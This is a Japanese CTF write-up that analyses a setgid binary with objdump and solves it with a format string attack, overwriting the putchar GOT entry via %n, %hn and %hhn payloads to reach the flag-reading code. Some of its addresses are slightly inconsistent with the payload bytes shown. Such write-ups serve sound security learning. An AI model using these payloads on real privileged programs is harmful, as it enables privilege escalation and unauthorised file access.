#Villager A
問題
Villager A: 村人A
とりあえずssh接続してみる。
[q4@eceec62b961b ~]$ ls -la
total 32
dr-xr-xr-x 1 root root 4096 Feb 27 06:11 .
drwxr-xr-x 1 root root 4096 Feb 27 06:11 ..
-rw-r--r-- 1 root root 18 Jul 21 2020 .bash_logout
-rw-r--r-- 1 root root 141 Jul 21 2020 .bash_profile
-rw-r--r-- 1 root root 456 Feb 27 06:11 .bashrc
-r--r----- 1 root q4a 22 Feb 26 18:01 flag.txt
-r-xr-sr-x 1 root q4a 5857 Feb 26 18:01 q4
flag.txtとq4が見つかった。
まずflag.txtを見てみる。
[q4@eceec62b961b ~]$ cat flag.txt
cat: flag.txt: Permission denied
flag.txtには権限がない。
ではq4を調べてみる。
[q4@eceec62b961b ~]$ file q4
q4: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=526c75e7f0f34744808eb1b09a5a91880562efc8, not stripped
実行ファイルなので実行してみる。
[q4@eceec62b961b ~]$ ./q4
What's your name?
q4
Hi, q4
Do you want the flag?
yes
Do you want the flag?
true
Do you want the flag?
T
Do you want the flag?
no
I see. Good bye.
まず名前を入力。「no」を入力するまで繰り返し「Do you want the flag?」と聞かれた。
何をやってるのかobjdumpで調べる。
[q4@eceec62b961b ~]$ objdump -S q4
q4: file format elf32-i386
Disassembly of section .init:
08048424 <_init>:
8048424: 55 push %ebp
8048425: 89 e5 mov %esp,%ebp
8048427: 53 push %ebx
8048428: 83 ec 04 sub $0x4,%esp
804842b: e8 00 00 00 00 call 8048430 <_init+0xc>
8048430: 5b pop %ebx
8048431: 81 c3 a0 15 00 00 add $0x15a0,%ebx
8048437: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx
804843d: 85 d2 test %edx,%edx
~省略~
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <.plt>
08048484 <fgets@plt>:
8048484: ff 25 e4 99 04 08 jmp *0x80499e4
804848a: 68 10 00 00 00 push $0x10
804848f: e9 c0 ff ff ff jmp 8048454 <.plt>
08048494 <__libc_start_main@plt>:
8048494: ff 25 e8 99 04 08 jmp *0x80499e8
804849a: 68 18 00 00 00 push $0x18
804849f: e9 b0 ff ff ff jmp 8048454 <.plt>
080484a4 <fopen@plt>:
80484a4: ff 25 ec 99 04 08 jmp *0x80499ec
80484aa: 68 20 00 00 00 push $0x20
80484af: e9 a0 ff ff ff jmp 8048454 <.plt>
080484b4 <printf@plt>:
80484b4: ff 25 f0 99 04 08 jmp *0x80499f0
80484ba: 68 28 00 00 00 push $0x28
80484bf: e9 90 ff ff ff jmp 8048454 <.plt>
080484c4 <puts@plt>:
80484c4: ff 25 f4 99 04 08 jmp *0x80499f4
80484ca: 68 30 00 00 00 push $0x30
80484cf: e9 80 ff ff ff jmp 8048454 <.plt>
~省略~
080485b4 <main>:
80485b4: 55 push %ebp
80485b5: 89 e5 mov %esp,%ebp
80485b7: 83 e4 f0 and $0xfffffff0,%esp
80485ba: 81 ec 20 04 00 00 sub $0x420,%esp
80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt>
80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax
80485d1: 89 44 24 08 mov %eax,0x8(%esp)
80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80485dc: 00
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt>
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt>
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt>
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048637: 8d 44 24 18 lea 0x18(%esp),%eax
804863b: 89 04 24 mov %eax,(%esp)
804863e: e8 41 fe ff ff call 8048484 <fgets@plt>
8048643: 85 c0 test %eax,%eax
8048645: 0f 94 c0 sete %al
8048648: 84 c0 test %al,%al
804864a: 74 0a je 8048656 <main+0xa2>
804864c: b8 00 00 00 00 mov $0x0,%eax
8048651: e9 86 00 00 00 jmp 80486dc <main+0x128>
8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp)
804865d: 08
804865e: 8d 44 24 18 lea 0x18(%esp),%eax
8048662: 89 04 24 mov %eax,(%esp)
8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt>
804866a: 85 c0 test %eax,%eax
804866c: 75 13 jne 8048681 <main+0xcd>
804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp)
8048675: e8 4a fe ff ff call 80484c4 <puts@plt>
804867a: b8 00 00 00 00 mov $0x0,%eax
804867f: eb 5b jmp 80486dc <main+0x128>
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt>
80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp)
80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax
80486b3: 89 44 24 08 mov %eax,0x8(%esp)
80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80486be: 00
80486bf: 8d 44 24 18 lea 0x18(%esp),%eax
80486c3: 89 04 24 mov %eax,(%esp)
80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt>
80486cb: 8d 44 24 18 lea 0x18(%esp),%eax
80486cf: 89 04 24 mov %eax,(%esp)
80486d2: e8 dd fd ff ff call 80484b4 <printf@plt>
80486d7: b8 00 00 00 00 mov $0x0,%eax
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop
~省略~
fgetsで入力された文字列を取得して、printfやputcharで表示や改行をしている。
0x80486a0でfopenが使われていることに気がついた。おそらく、ここで権限がなく開くことができなかったflag.txtを開いているのだろう。
fopen以前のjmpやjne命令によって処理が飛んでしまいfopenまでたどり着けない。そこで、jmp命令が発生したとき、jmp先のアドレスを0x8048691(fopenの処理が始まるアドレス)に書き換えることができればfopenまでたどり着ける。
**今回は0x08048474で使われているput_charに注目して、jmp先のアドレスである0x80499e0の値を0x8048691に書き換える。
#Format String Attacks
今回の問題では、
What's your name?
q4
Hi, q4
からわかるように、入力した文字列がそのまま出力されている。こんなときにはFormat String Attacks(書式指定文字列攻撃)が用いられる。以下に例を示す。
[q4@eceec62b961b ~]$ echo -e "AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, AAAA,400,f7c7f580,ffee0c38,6,0,41414141,2c78252c,252c7825,78252c78
Do you want the flag?
echoの結果を|(パイプライン)でq4に渡して実行している。
%x,%x,%x,%x,%x,%x,%x,%x,%xのようにフォーマット指定子(フォーマットパラメータ)を入力することでスタックの中身を覗くことができる。スタックの中身はアドレス。AはASCIIコード表から16進数表記で0x41なのでAAAAは0x41414141に対応している。スタックの中身を見てみると、0x41414141は6番目にある。任意のメモリの読み込みができた。
6番目のアドレスを0x80499f0にしたい場合、リトルエンディアンに注意して以下のようにする。
[q4@eceec62b961b ~]$ echo -e "\xe0\x99\x04\x08%6\$x" | ./q4
What's your name?
Hi, 80499f0
Do you want the flag?
#Overwite
次は指定したアドレスの値(0x80499e0の値)を任意のアドレス(0x8048691)に書き換える。書き換えには%nを使う。%nはprintfで使われるフォーマット指定子で、「%nを処理するまでに表示したバイト数」を%nに対応するパラメータに書き込むことができる。このとき、%[X]$nというようにして[X]で対応するアドレスの位置を指定する。
書き換えたいアドレスは0x8048691で、これを10進数に直すと134514321となる。はじめの4バイト(16進数は1文字4bit。アドレスは8文字から成るから(0x8048691は本当は先頭に0がある)4bit×8=32bit=4Byte)はすでに書かれているから、134514321-4=134514317。これを0x80499f0の値とすれば良い。
echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4
となる。
簡単にいうと、スタックの6番目のアドレス0x80499e0の値を0x8048691 -4バイト(10進数で134514317)に書き換える。
echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
134,514,317個の空白を入力しているから、実行してみると結構時間がかかる。これは%nが4バイトの書き込みを行なっているから。実際のコンテストでは時間短縮のために、%hnで2バイトの書き込みにしたり、%hhnで1バイトの書き込みにしたりするなどすることが多いらしい。
#まとめ
難しいかったけど勉強になった。
完全に理解できたわけじゃないので他の問題を解く中で理解できたことがあれば修正します。